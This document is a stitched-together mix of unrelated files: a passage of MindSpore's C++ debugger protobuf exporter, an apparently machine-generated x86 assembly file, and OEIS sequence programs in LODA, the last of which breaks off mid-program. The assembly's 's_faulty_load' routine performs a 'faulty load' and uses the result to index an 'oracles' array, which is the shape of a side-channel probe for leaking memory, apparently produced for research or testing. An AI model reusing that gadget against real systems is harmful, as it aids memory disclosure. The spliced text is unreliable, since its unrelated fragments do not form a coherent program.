type->isa<Tuple>() || type->isa<TypeType>() || type->isa<List>() || type->isa<TypeAnything>() || type->isa<RefKeyType>() || type->isa<RefType>() || type->isa<Function>() || type->isa<TypeNone>() || type->isa<String>() || type->isa<SymbolicKeyType>() || type->isa<UMonadType>() || type->isa<IOMonadType>())) { MS_LOG(EXCEPTION) << "Unknown type: " << type->type_name(); } if (type->isa<Number>()) { type_proto->set_data_type(GetDebuggerNumberDataType(type)); } } void SetTensorTypeProto(const TypePtr &type, const BaseShapePtr &shape, debugger::TypeProto *type_proto) { TypePtr elem_type = dyn_cast<TensorType>(type)->element(); type_proto->mutable_tensor_type()->set_elem_type(GetDebuggerNumberDataType(elem_type)); if (shape != nullptr && shape->isa<abstract::Shape>()) { abstract::ShapePtr shape_info = dyn_cast<abstract::Shape>(shape); for (const auto &elem : shape_info->shape()) { type_proto->mutable_tensor_type()->mutable_shape()->add_dim()->set_size(elem); } } } void SetTupleTypeProto(const TypePtr &type, debugger::TypeProto *type_proto) { TuplePtr tuple_type = dyn_cast<Tuple>(type); for (const auto &elem_type : tuple_type->elements()) { SetOutputType(elem_type, nullptr, type_proto->mutable_sequence_type()->add_elem_types()); } } void SetListTypeProto(const TypePtr &type, debugger::TypeProto *type_proto) { ListPtr list_type = dyn_cast<List>(type); for (const auto &elem_type : list_type->elements()) { SetOutputType(elem_type, nullptr, type_proto->mutable_sequence_type()->add_elem_types()); } } static TypeInfoToProtoTypeMap type_info_to_proto_type = { {typeid(TensorType).name(), debugger::DT_TENSOR}, {typeid(Tuple).name(), debugger::DT_TUPLE}, {typeid(TypeType).name(), debugger::DT_TYPE}, {typeid(List).name(), debugger::DT_LIST}, {typeid(TypeAnything).name(), debugger::DT_ANYTHING}, {typeid(RefKeyType).name(), debugger::DT_REFKEY}, {typeid(RefType).name(), debugger::DT_REF}, {typeid(Function).name(), debugger::DT_GRAPH}, {typeid(TypeNone).name(), debugger::DT_NONE}, {typeid(String).name(), debugger::DT_STRING}, {typeid(UMonadType).name(), debugger::DT_UMONAD}, {typeid(IOMonadType).name(), debugger::DT_IOMONAD}}; void SetOutputType(const TypePtr &type, const BaseShapePtr &shape, debugger::TypeProto *type_proto) { if (type_proto == nullptr) { return; } if (type == nullptr) { type_proto->set_data_type(debugger::DT_UNDEFINED); return; } CheckIfValidType(type, type_proto); for (auto &it : type_info_to_proto_type) { if (type->IsFromTypeId(Base::GetTypeId(it.first))) { type_proto->set_data_type(it.second); break; } } if (type->isa<TensorType>()) { SetTensorTypeProto(type, shape, type_proto); return; } if (type->isa<Tuple>()) { SetTupleTypeProto(type, type_proto); return; } if (type->isa<List>()) { SetListTypeProto(type, type_proto); } } void DebuggerProtoExporter::SetNodeOutputType(const AnfNodePtr &node, debugger::TypeProto *type_proto) { if (node == nullptr || type_proto == nullptr) { return; } SetOutputType(node->Type(), node->Shape(), type_proto); } void DebuggerProtoExporter::SetValueToProto(const ValuePtr &val, debugger::ValueProto *value_proto) { if (val == nullptr || value_proto == nullptr) { return; } if (val->isa<StringImm>()) { const StringImmPtr &value = dyn_cast<StringImm>(val); value_proto->set_dtype(debugger::DT_STRING); value_proto->set_str_val(value->value()); } else if (val->isa<Scalar>()) { SetScalarToProto(dyn_cast<Scalar>(val), value_proto); } else if (val->isa<Bool>()) { value_proto->set_dtype(debugger::DT_TYPE); value_proto->mutable_type_val()->set_data_type(debugger::DT_BOOL); } else if (val->isa<Int>()) { value_proto->set_dtype(debugger::DT_TYPE); value_proto->mutable_type_val()->set_data_type(debugger::DT_BASE_INT); } else if (val->isa<Float>()) { value_proto->set_dtype(debugger::DT_TYPE); value_proto->mutable_type_val()->set_data_type(debugger::DT_BASE_FLOAT); } else if (val->isa<ValueSequeue>()) { SetSequenceToProto(dyn_cast<ValueSequeue>(val), value_proto); } else if (val->isa<None>()) { value_proto->set_dtype(debugger::DT_NONE); value_proto->set_str_val("None"); } else if (val->isa<SymbolicKeyInstance>()) { SymbolicKeyInstancePtr sym_inst = dyn_cast<SymbolicKeyInstance>(val); ParameterPtr sym_node = dyn_cast<Parameter>(sym_inst->node()); value_proto->set_dtype(debugger::DT_SYM_INST); value_proto->set_str_val(sym_node == nullptr ? std::string("nullptr") : sym_node->ToString()); } else if (val->isa<ValueDictionary>()) { SetDictionaryToProto(dyn_cast<ValueDictionary>(val), value_proto); } else if (val->isa<tensor::Tensor>()) { tensor::TensorPtr tensor_ptr = dyn_cast<tensor::Tensor>(val); value_proto->set_dtype(debugger::DT_TENSOR); debugger::TensorProto *tensor_proto = value_proto->mutable_tensor_val(); tensor_proto->set_data_type(GetDebuggerNumberDataType(tensor_ptr->Dtype())); for (auto &elem : tensor_ptr->shape()) { tensor_proto->add_dims(elem); } tensor_proto->set_tensor_content(tensor_ptr->data_c(), tensor_ptr->data().nbytes()); } else if (val->isa<TensorType>()) { value_proto->set_dtype(debugger::DT_TYPE); debugger::TypeProto *type_proto = value_proto->mutable_type_val(); type_proto->set_data_type(debugger::DT_TENSOR); TypePtr elem_type = dyn_cast<TensorType>(val)->element(); type_proto->mutable_tensor_type()->set_elem_type(GetDebuggerNumberDataType(elem_type)); } else { MS_LOG(WARNING) << "Unsupported type " << val->type_name(); } } void DebuggerProtoExporter::SetScalarToProto(const ScalarPtr &val, debugger::ValueProto *value_proto) { if (val == nullptr || value_proto == nullptr) { return; } if (val->isa<BoolImm>()) { const BoolImmPtr &value = dyn_cast<BoolImm>(val); value_proto->set_dtype(debugger::DT_BOOL); value_proto->set_bool_val(value->value()); } else if (val->isa<Int8Imm>()) { const Int8ImmPtr &value = dyn_cast<Int8Imm>(val); value_proto->set_dtype(debugger::DT_INT8); value_proto->set_int_val(value->value()); } else if (val->isa<Int16Imm>()) { const Int16ImmPtr &value = dyn_cast<Int16Imm>(val); value_proto->set_dtype(debugger::DT_INT16); value_proto->set_int_val(value->value()); } else if (val->isa<Int32Imm>()) { const Int32ImmPtr &value = dyn_cast<Int32Imm>(val); value_proto->set_dtype(debugger::DT_INT32); value_proto->set_int_val(value->value()); } else if (val->isa<Int64Imm>()) { const Int64ImmPtr &value = dyn_cast<Int64Imm>(val); value_proto->set_dtype(debugger::DT_INT64); value_proto->set_int_val(value->value()); } else if (val->isa<UInt8Imm>()) { const UInt8ImmPtr &value = dyn_cast<UInt8Imm>(val); value_proto->set_dtype(debugger::DT_UINT8); value_proto->set_uint_val(value->value()); } else if (val->isa<UInt16Imm>()) { const UInt16ImmPtr &value = dyn_cast<UInt16Imm>(val); value_proto->set_dtype(debugger::DT_UINT16); value_proto->set_uint_val(value->value()); } else if (val->isa<UInt32Imm>()) { const UInt32ImmPtr &value = dyn_cast<UInt32Imm>(val); value_proto->set_dtype(debugger::DT_UINT32); value_proto->set_uint_val(value->value()); } else if (val->isa<UInt64Imm>()) { const UInt64ImmPtr &value = dyn_cast<UInt64Imm>(val); value_proto->set_dtype(debugger::DT_UINT64); value_proto->set_uint_val(value->value()); } else if (val->isa<FP32Imm>()) { const FP32ImmPtr &value = dyn_cast<FP32Imm>(val); value_proto->set_dtype(debugger::DT_FLOAT32); value_proto->set_float_val(value->value()); } else if (val->isa<FP64Imm>()) { const FP64ImmPtr &value = dyn_cast<FP64Imm>(val); value_proto->set_dtype(debugger::DT_FLOAT64); value_proto->set_double_val(value->value()); } else { MS_LOG(EXCEPTION) << "Unknown scalar type " << val->ToString(); } } void DebuggerProtoExporter::SetSequenceToProto(const ValueSequeuePtr &val, debugger::ValueProto *value_proto) { if (val == nullptr || value_proto == nullptr) { return; } if (val->isa<ValueTuple>()) { const ValueTuplePtr &value = dyn_cast<ValueTuple>(val); value_proto->set_dtype(debugger::DT_TUPLE); for (const auto &item : value->value()) { SetValueToProto(item, value_proto->add_values()); } } else if (val->isa<ValueList>()) { const ValueListPtr &value = dyn_cast<ValueList>(val); value_proto->set_dtype(debugger::DT_LIST); for (const auto &item : value->value()) { SetValueToProto(item, value_proto->add_values()); } } } void DebuggerProtoExporter::SetDictionaryToProto(const ValueDictionaryPtr &val, debugger::ValueProto *value_proto) { if (val == nullptr || value_proto == nullptr) { return; } value_proto->set_dtype(debugger::DT_DICT); for (const auto &item : val->value()) { debugger::NamedValueProto *named_val = value_proto->add_dict_val(); named_val->set_key(item.first); SetValueToProto(item.second, named_val->mutable_value()); } } void DebuggerProtoExporter::GetOpNodeTypeAndAttrs(const FuncGraphPtr &, const AnfNodePtr &node, debugger::NodeProto *node_proto) { if (node == nullptr || node_proto == nullptr) { return; } if (node->isa<CNode>() || node->isa<Parameter>() || IsValueNode<FuncGraph>(node)) { MS_LOG(EXCEPTION) << "Op node can not be CNode, Parameter or ValueNode Graph. But got " << node->ToString(); } if (!IsValueNode<Primitive>(node)) { MS_LOG(EXCEPTION) << "Op node is not primitive: " << node->ToString(); } const PrimitivePtr &prim = GetValueNode<PrimitivePtr>(node); node_proto->set_op_type(prim->name()); for (const auto &attr : prim->attrs()) { debugger::AttributeProto *attr_proto = node_proto->add_attribute(); attr_proto->set_name(attr.first); SetValueToProto(attr.second, attr_proto->mutable_value()); } node_proto->set_scope(node->scope()->name()); } std::string DebuggerProtoExporter::GetOpNodeInputId(const FuncGraphPtr &, const AnfNodePtr &node, const std::map<AnfNodePtr, size_t> &apply_map, std::map<AnfNodePtr, size_t> *const_map_ptr) { if (node == nullptr || const_map_ptr == nullptr) { return ""; } if (node->isa<CNode>()) { auto iter = apply_map.find(node); if (iter == apply_map.end()) { MS_LOG(EXCEPTION) << "Can not find node '" << node->ToString() << "' in apply_map"; } return std::to_string(iter->second); } if (node->isa<Parameter>()) { return node->ToString(); } if (node->isa<ValueNode>()) { auto iter = const_map_ptr->find(node); if (iter == const_map_ptr->end()) { // Start index number from 1 auto const_idx = const_map_ptr->size() + 1; (*const_map_ptr)[node] = const_idx; } return GetConstNodeId((*const_map_ptr)[node]); } MS_LOG(EXCEPTION) << "Unknown node type. node is '" << node->ToString() << "'"; } std::string DebuggerProtoExporter::GetFuncGraphProtoString(const FuncGraphPtr &func_graph, LocDebugDumpMode dump_location) { if (func_graph == nullptr) { return ""; } InitModelInfo(); debugger::GraphProto *graph_proto = model_.mutable_graph(); ExportFuncGraph(func_graph, graph_proto, dump_location); return model_.SerializeAsString(); } debugger::ModelProto DebuggerProtoExporter::GetFuncGraphProto(const FuncGraphPtr &func_graph) { if (func_graph == nullptr) { return ModelProto(); } InitModelInfo(); debugger::GraphProto *graph_proto = model_.mutable_graph(); ExportFuncGraph(func_graph, graph_proto); return model_; } void DebuggerProtoExporter::ExportFuncGraph(const FuncGraphPtr &func_graph, debugger::GraphProto *const graph_proto, LocDebugDumpMode dump_location) { if (func_graph == nullptr || graph_proto == nullptr) { return; } // map for store ValueNodes of this graph std::map<AnfNodePtr, size_t> const_map; // set graph name graph_proto->set_name(func_graph->ToString()); MS_LOG(INFO) << "graph names: " << func_graph->ToString(); // cast FuncGraph to KernelGraph to access root_graph_id() uint32_t root_graph_id = static_cast<session::KernelGraph *>(func_graph.get())->root_graph_id(); MS_LOG(INFO) << "root graph id: " << root_graph_id; // set root graph id graph_proto->set_root_name(std::to_string(root_graph_id)); ExportParameters(func_graph, graph_proto); ExportCNodes(func_graph, graph_proto, &const_map, dump_location); ExportValueNodes(const_map, graph_proto); } void DebuggerProtoExporter::ExportParameters(const FuncGraphPtr &func_graph, debugger::GraphProto *graph_proto) { if (func_graph == nullptr || graph_proto == nullptr) { return; } // cast FuncGraph to KernelGraph to access inputs() std::vector<AnfNodePtr> parameters = static_cast<session::KernelGraph *>(func_graph.get())->inputs(); for (auto &param : parameters) { debugger::ParameterProto *param_proto = graph_proto->add_parameters(); param_proto->set_name(param->ToString()); SetNodeOutputType(param, param_proto->mutable_type()); const ParameterPtr param_ptr = dyn_cast<Parameter>(param); if (param_ptr == nullptr) { MS_LOG(INFO) << "Parameter '" << param->ToString() << "' could not cast to parameter."; } } } void DebuggerProtoExporter::ExportCNodes(const FuncGraphPtr &func_graph, debugger::GraphProto *const graph_proto, std::map<AnfNodePtr, size_t> *const_map_ptr, LocDebugDumpMode dump_location) { if (func_graph == nullptr || graph_proto == nullptr || const_map_ptr == nullptr) { return; } // topo sort nodes std::vector<AnfNodePtr> nodes = TopoSort(func_graph->get_return(), SuccIncoming, AlwaysInclude); std::map<AnfNodePtr, size_t> apply_map; for (const AnfNodePtr &node : nodes) { MS_EXCEPTION_IF_NULL(node); if (!node->isa<CNode>()) { continue; } auto cnode = node->cast<CNodePtr>(); if (cnode != func_graph->get_return()) { ExportCNode(func_graph, cnode, &apply_map, const_map_ptr, graph_proto); } else { ExportFuncGraphOutput(func_graph, cnode, apply_map, const_map_ptr, graph_proto); } } } void DebuggerProtoExporter::ExportCNode(const FuncGraphPtr &func_graph, const CNodePtr &node, std::map<AnfNodePtr, size_t> *apply_map_ptr, std::map<AnfNodePtr, size_t> *const_map_ptr, debugger::GraphProto *const graph_proto) { if (func_graph == nullptr || node == nullptr || apply_map_ptr == nullptr || const_map_ptr == nullptr || graph_proto == nullptr) { return; } auto apply_idx = apply_map_ptr->size() + 1; (*apply_map_ptr)[node] = apply_idx; auto &inputs = node->inputs(); if (inputs.size() < 1) { MS_LOG(EXCEPTION) << "Inputs of apply node is empty"; } AnfNodePtr op = inputs[0]; debugger::NodeProto *node_proto = graph_proto->add_node(); // CNode/ConstGraph/Const/Parameter if (op->isa<CNode>() || IsValueNode<FuncGraph>(op) || op->isa<Parameter>()) { MS_LOG(WARNING) << "Operator must be a primitive"; } else { GetOpNodeTypeAndAttrs(func_graph, op, node_proto); node_proto->set_name(std::to_string(apply_idx)); node_proto->set_scope(node->scope()->name()); // add full_name for debugger std::string full_name = GetKernelNodeName(node); node_proto->set_full_name(full_name); MS_LOG(INFO) << "full_name: " << full_name; std::ostringstream buffer; auto traces = mindspore::trace::GetSourceLineList(node); for (auto &trace : traces) { buffer << " # " << trace; } node_proto->set_source_address(buffer.str()); // process OP inputs for (size_t i = 1; i < inputs.size(); ++i) { debugger::InputProto *input_proto = node_proto->add_input(); input_proto->set_type(debugger::InputProto_EdgeType_DATA_EDGE); std::string id = GetOpNodeInputId(func_graph, inputs[i], *apply_map_ptr, const_map_ptr); input_proto->set_name(id); } // set node output type SetNodeOutputType(node, node_proto->mutable_output_type()); } } void DebuggerProtoExporter::ExportFuncGraphOutput(const FuncGraphPtr &func_graph, const CNodePtr &ret_node, const std::map<AnfNodePtr, size_t> &apply_map, std::map<AnfNodePtr, size_t> *const_map_ptr, debugger::GraphProto *graph_proto) { if (ret_node == nullptr || !ret_node->isa<CNode>()) { MS_LOG(EXCEPTION) << "Graph return node is illegal"; } AnfNodePtr arg = ret_node->input(1); if (graph_proto == nullptr) { MS_LOG(EXCEPTION) << "graph_proto is nullptr"; } debugger::OutputProto *output_proto = graph_proto->add_outputs(); if (output_proto == nullptr) { MS_LOG(EXCEPTION) << "output_proto is nullptr"; } std::string id = GetOpNodeInputId(func_graph, arg, apply_map, const_map_ptr); output_proto->set_name(id); SetNodeOutputType(arg, output_proto->mutable_type()); } static bool CompareValue(const std::pair<AnfNodePtr, size_t> &x, const std::pair<AnfNodePtr, size_t> &y) { return x.second < y.second; } void DebuggerProtoExporter::ExportValueNodes(const std::map<AnfNodePtr, size_t> &const_map, debugger::GraphProto *graph_proto) { std::vector<std::pair<AnfNodePtr, size_t>> nodes; (void)std::transform(const_map.cbegin(), const_map.cend(), std::back_inserter(nodes), [](const std::pair<AnfNodePtr, size_t> &item) { return item; }); sort(nodes.begin(), nodes.end(), CompareValue); for (auto &item : nodes) { if (graph_proto == nullptr) { MS_LOG(EXCEPTION) << "graph_proto is nullptr"; } debugger::NamedValueProto *named_value = graph_proto->add_const_vals(); MS_EXCEPTION_IF_NULL(named_value); named_value->set_key(GetConstNodeId(item.second)); SetValueToProto(GetValueNode(item.first), named_value->mutable_value()); } } void DebuggerProtoExporter::InitModelInfo() { model_.set_ir_version(debugger::IR_VERSION); } debugger::ModelProto GetDebuggerFuncGraphProto(const FuncGraphPtr &func_graph) { DebuggerProtoExporter exporter; return exporter.GetFuncGraphProto(func_graph); } debugger::DataType GetDebuggerNumberDataType(const TypePtr &type) { switch (type->type_id()) { case kNumberTypeBool: return debugger::DT_BOOL; case kNumberTypeInt8: return debugger::DT_INT8; case kNumberTypeInt16: return debugger::DT_INT16; case kNumberTypeInt32: return debugger::DT_INT32; case kNumberTypeInt64: return debugger::DT_INT64; case kNumberTypeUInt8: return debugger::DT_UINT8; case kNumberTypeUInt16: return debugger::DT_UINT16; case kNumberTypeUInt32: return debugger::DT_UINT32; case kNumberTypeUInt64: return debugger::DT_UINT64; case kNumberTypeFloat16: return debugger::DT_FLOAT16; case kNumberTypeFloat32: return debugger::DT_FLOAT32; case kNumberTypeFloat64: return debugger::DT_FLOAT64; case kNumberTypeInt: return debugger::DT_BASE_INT; case kNumberTypeUInt: return debugger::DT_BASE_UINT; case kNumberTypeFloat: return debugger::DT_BASE_FLOAT; default: MS_LOG(EXCEPTION) << "Unexpected type " << type->type_name(); } } #ifdef ENABLE_DUMP_IR void DumpIRProtoWithSrcInfo(const FuncGraphPtr &func_graph, const std::string &suffix, const std::string &target_dir, LocDebugDumpMode dump_location) { DebuggerProtoExporter exporter; std::string graph_proto = exporter.GetFuncGraphProtoString(func_graph, dump_location); if (func_graph == nullptr) { MS_LOG(ERROR) << "Func graph is nullptr"; return; } std::string file_path = target_dir + "/" + "ms_output_" + suffix + ".pb"; auto realpath = Common::CreatePrefixPath(file_path); if (!realpath.has_value()) { MS_LOG(ERROR) << "Get real path failed, path=" << file_path; return; } ChangeFileMode(realpath.value(), S_IWUSR); // write to pb file std::ofstream ofs(realpath.value()); if (!ofs.is_open()) { MS_LOG(ERROR) << "Open file '" << realpath.value() << "' failed!" << ErrnoToString(errno); return; } ofs << graph_proto; ofs.close(); // set file mode to read only by user ChangeFileMode(file_path, S_IRUSR); } #else void DumpIRProtoWithSrcInfo(const FuncGraphPtr &, const std::string &, const std::string &, LocDebugDumpMode) { static bool already_printed = false; if (already_printed) { return; } already_printed = true; MS_LOG(WARNING) << "The functionality of dumping function graph IR in protobuf format is disabled," << "because ENABLE_DEBUGGER option is off" << "please recompile source to enable it. See help of building script."; } #endif } // namespace mindspore
Name: zel_main1.asm Type: file Size: 45847 Last-Modified: '2016-05-13T04:20:48Z' SHA-1: F1CE56403C535AD32DA837A34D2339A1CE11B791 Description: null
.global s_prepare_buffers s_prepare_buffers: push %r15 push %r9 push %rbx lea addresses_A_ht+0x1b2a0, %r9 nop nop sub %r15, %r15 mov $0x6162636465666768, %rbx movq %rbx, %xmm6 movups %xmm6, (%r9) nop inc %rbx pop %rbx pop %r9 pop %r15 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r14 push %r15 push %rbp push %rsi // Store lea addresses_PSE+0xf5a0, %rsi nop nop nop and $51394, %r11 movb $0x51, (%rsi) nop dec %rsi // Store lea addresses_WC+0x1520, %r10 nop nop nop nop sub $14298, %r15 movl $0x51525354, (%r10) nop nop nop nop dec %r11 // Store lea addresses_normal+0x1f0b0, %r11 nop nop nop nop nop sub $59664, %rsi mov $0x5152535455565758, %r15 movq %r15, %xmm6 movups %xmm6, (%r11) nop nop nop and $60172, %r13 // Store lea addresses_UC+0x37a0, %r11 nop nop nop inc %r13 movb $0x51, (%r11) nop nop nop nop inc %r13 // Store lea addresses_D+0x1ba0, %r11 nop nop cmp $34263, %rbp movw $0x5152, (%r11) nop nop nop nop nop and $11898, %rbp // Faulty Load lea addresses_UC+0x1f7a0, %r14 nop xor $23522, %r13 movups (%r14), %xmm5 vpextrq $1, %xmm5, %r15 lea oracles, %r13 and $0xff, %r15 shlq $12, %r15 mov (%r13,%r15,1), %r15 pop %rsi pop %rbp pop %r15 pop %r14 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 8, 'type': 'addresses_UC', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_PSE', 'congruent': 9}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 4, 'type': 'addresses_WC', 'congruent': 6}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal', 'congruent': 4}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC', 'congruent': 8}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D', 'congruent': 8}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A_ht', 'congruent': 8}, 'OP': 'STOR'} {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
; A154374: a(n) = 1250*n^2 - 100*n + 1. ; 1151,4801,10951,19601,30751,44401,60551,79201,100351,124001,150151,178801,209951,243601,279751,318401,359551,403201,449351,498001,549151,602801,658951,717601,778751,842401,908551,977201,1048351,1122001,1198151,1276801,1357951,1441601,1527751,1616401,1707551,1801201,1897351,1996001,2097151,2200801,2306951,2415601,2526751,2640401,2756551,2875201,2996351,3120001,3246151,3374801,3505951,3639601,3775751,3914401,4055551,4199201,4345351,4494001,4645151,4798801,4954951,5113601,5274751,5438401,5604551,5773201,5944351,6118001,6294151,6472801,6653951,6837601,7023751,7212401,7403551,7597201,7793351,7992001,8193151,8396801,8602951,8811601,9022751,9236401,9452551,9671201,9892351,10116001,10342151,10570801,10801951,11035601,11271751,11510401,11751551,11995201,12241351,12490001,12741151,12994801,13250951,13509601,13770751,14034401,14300551,14569201,14840351,15114001,15390151,15668801,15949951,16233601,16519751,16808401,17099551,17393201,17689351,17988001,18289151,18592801,18898951,19207601,19518751,19832401,20148551,20467201,20788351,21112001,21438151,21766801,22097951,22431601,22767751,23106401,23447551,23791201,24137351,24486001,24837151,25190801,25546951,25905601,26266751,26630401,26996551,27365201,27736351,28110001,28486151,28864801,29245951,29629601,30015751,30404401,30795551,31189201,31585351,31984001,32385151,32788801,33194951,33603601,34014751,34428401,34844551,35263201,35684351,36108001,36534151,36962801,37393951,37827601,38263751,38702401,39143551,39587201,40033351,40482001,40933151,41386801,41842951,42301601,42762751,43226401,43692551,44161201,44632351,45106001,45582151,46060801,46541951,47025601,47511751,48000401,48491551,48985201,49481351,49980001,50481151,50984801,51490951,51999601,52510751,53024401,53540551,54059201,54580351,55104001,55630151,56158801,56689951,57223601,57759751,58298401,58839551,59383201,59929351,60478001,61029151,61582801,62138951,62697601,63258751,63822401,64388551,64957201,65528351,66102001,66678151,67256801,67837951,68421601,69007751,69596401,70187551,70781201,71377351,71976001,72577151,73180801,73786951,74395601,75006751,75620401,76236551,76855201,77476351,78100001 mul $0,25 add $0,24 pow $0,2 mov $1,$0 sub $1,576 div $1,25 mul $1,50 add $1,1151
; A178218: Numbers of the form 2k^2-2k+1 or 2k^2-1. ; 1,5,7,13,17,25,31,41,49,61,71,85,97,113,127,145,161,181,199,221,241,265,287,313,337,365,391,421,449,481,511,545,577,613,647,685,721,761,799,841,881,925,967,1013,1057,1105,1151,1201,1249,1301,1351,1405,1457,1513,1567,1625,1681,1741,1799,1861,1921,1985,2047,2113,2177,2245,2311,2381,2449,2521,2591,2665,2737,2813,2887,2965,3041,3121,3199,3281,3361,3445,3527,3613,3697,3785,3871,3961,4049,4141,4231,4325,4417,4513,4607,4705,4801,4901,4999,5101 add $0,2 pow $0,2 sub $0,1 div $0,4 mul $0,2 add $0,1
; A057590: Numbers of the form n*(n^3+-1)/2. ; 0,1,7,9,39,42,126,130,310,315,645,651,1197,1204,2044,2052,3276,3285,4995,5005,7315,7326,10362,10374,14274,14287,19201,19215,25305,25320,32760,32776,41752,41769,52479,52497,65151,65170,79990,80010,97230,97251,117117,117139,139909,139932,165876,165900,195300,195325,228475,228501,265707,265734,307314,307342,353626,353655,404985,405015,461745,461776,524272,524304,592944,592977,668151,668185,750295,750330,839790,839826,937062,937099,1042549,1042587,1156701,1156740,1279980,1280020,1412860,1412901,1555827,1555869,1709379,1709422,1874026,1874070,2050290,2050335,2238705,2238751,2439817,2439864,2654184,2654232,2882376,2882425,3124975,3125025,3382575,3382626,3655782,3655834,3945214,3945267,4251501,4251555,4575285,4575340,4917220,4917276,5277972,5278029,5658219,5658277,6058651,6058710,6479970,6480030,6922890,6922951,7388137,7388199,7876449,7876512,8388576,8388640,8925280,8925345,9487335,9487401,10075527,10075594,10690654,10690722,11333526,11333595,12004965,12005035,12705805,12705876,13436892,13436964,14199084,14199157,14993251,14993325,15820275,15820350,16681050,16681126,17576482,17576559,18507489,18507567,19475001,19475080,20479960,20480040,21523320,21523401,22606047,22606129,23729119,23729202,24893526,24893610,26100270,26100355,27350365,27350451,28644837,28644924,29984724,29984812,31371076,31371165,32804955,32805045,34287435,34287526,35819602,35819694,37402554,37402647,39037401,39037495,40725265,40725360,42467280,42467376,44264592,44264689,46118359,46118457,48029751,48029850,49999950,50000050,52030150,52030251,54121557,54121659,56275389,56275492,58492876,58492980,60775260,60775365,63123795,63123901,65539747,65539854,68024394,68024502,70579026,70579135,73204945,73205055,75903465,75903576,78675912,78676024,81523624,81523737,84447951,84448065,87450255,87450370,90531910,90532026,93694302,93694419,96938829,96938947,100266901,100267020,103679940,103680060,107179380,107179501,110766667,110766789,114443259,114443382,118210626,118210750,122070250,122070375 mov $9,$0 mov $11,$0 lpb $11,1 clr $0,9 mov $0,$9 sub $11,1 sub $0,$11 add $1,$0 add $4,1 log $4,$0 add $0,2 mov 